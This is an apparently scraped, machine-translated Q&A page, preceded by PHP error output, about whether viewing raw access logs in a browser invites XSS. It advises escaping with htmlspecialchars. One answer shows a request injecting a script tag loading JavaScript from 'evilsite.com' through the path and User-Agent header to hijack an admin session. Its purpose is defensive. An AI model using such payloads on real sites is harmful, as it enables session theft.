Warning: file_get_contents(/data/phpspider/zhask/data//catemap/1/php/252.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/9/security/4.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181

Warning: file_get_contents(/data/phpspider/zhask/data//catemap/2/facebook/9.json): failed to open stream: No such file or directory in /data/phpspider/zhask/libs/function.php on line 167

Warning: Invalid argument supplied for foreach() in /data/phpspider/zhask/libs/tag.function.php on line 1116

Notice: Undefined index: in /data/phpspider/zhask/libs/function.php on line 180

Warning: array_chunk() expects parameter 1 to be array, null given in /data/phpspider/zhask/libs/function.php on line 181
Php 通过web浏览器查看访问日志而不进行清理是否危险?_Php_Security_Logging_Sanitize - Fatal编程技术网

Php 通过web浏览器查看访问日志而不进行清理是否危险?

Php 通过web浏览器查看访问日志而不进行清理是否危险?,php,security,logging,sanitize,Php,Security,Logging,Sanitize,通过web浏览器查看访问日志而不进行清理是否危险 我正在考虑记录访问日志,我正在考虑通过wev浏览器查看它,但如果攻击者修改其远程主机或用户代理或其他内容,他可以攻击我吗 通过在远程主机或用户代理或ect中插入攻击代码 那么,在通过web浏览器打开访问日志文件之前,是否需要通过htmlspecialchar进行清理 我的意思是,攻击者将一些攻击代码插入其远程主机或用户代理或某些软件,然后我通过web浏览器看到访问日志,然后我的电脑将受到该代码的影响。理论上是可能的,是的,你应该赞扬自己有正确的思

通过web浏览器查看访问日志而不进行清理是否危险

我正在考虑记录访问日志,我正在考虑通过wev浏览器查看它,但如果攻击者修改其远程主机或用户代理或其他内容,他可以攻击我吗

通过在远程主机或用户代理或ect中插入攻击代码

那么,在通过web浏览器打开访问日志文件之前,是否需要通过htmlspecialchar进行清理


我的意思是,攻击者将一些攻击代码插入其远程主机或用户代理或某些软件,然后我通过web浏览器看到访问日志,然后我的电脑将受到该代码的影响。

理论上是可能的,是的,你应该赞扬自己有正确的思维方式来考虑它。在将任何不受控制的输入显示在web浏览器中之前对其进行清理始终是一个好主意


我将通过
htmlspecialchars()
运行日志输出

是的,这很危险

例如,恶意用户可以请求如下内容:

GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1
Host: www.example.com
Connection: close
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script>
GET/HTTP/1.1
主持人:www.example.com
连接:关闭
用户代理:
并用恶意JavaScript破坏您的查看页面

由于您可能正在查看站点上的日志,因此您将以具有管理权限的帐户登录。通过恶意JavaScript,攻击者可以窃取您的会话cookie并接管您的会话,完成登录时可以完成的所有操作


因此,总而言之,您应该明确地退出访问日志页面,除非您希望管理帐户受到损害。

您可能需要一些html格式的输出,因此必须对日志数据进行清理/编码。但出于参数考虑:如果以文本/纯文本形式发送输出,则客户端不应解析任何html/javascript。

例如,
Yup的输出。我在服务器日志中看到过类似的尝试,所以我在网页中查看脚本的任何部分之前都会对脚本进行清理。是的,谢谢。那么我最好将日志文件扩展名设为“txt”,这样我就安全了。我的意思是“log.txt”是安全的,但“log.html”是危险的。如果“log.txt”真的是解决方案,为什么问题会被标记为“PHPP5”?
<?php
header('Content-type: text/plain; charset=utf-8');
echo '<script>alert(document.URL);</script>';
<script>alert(document.URL);</script>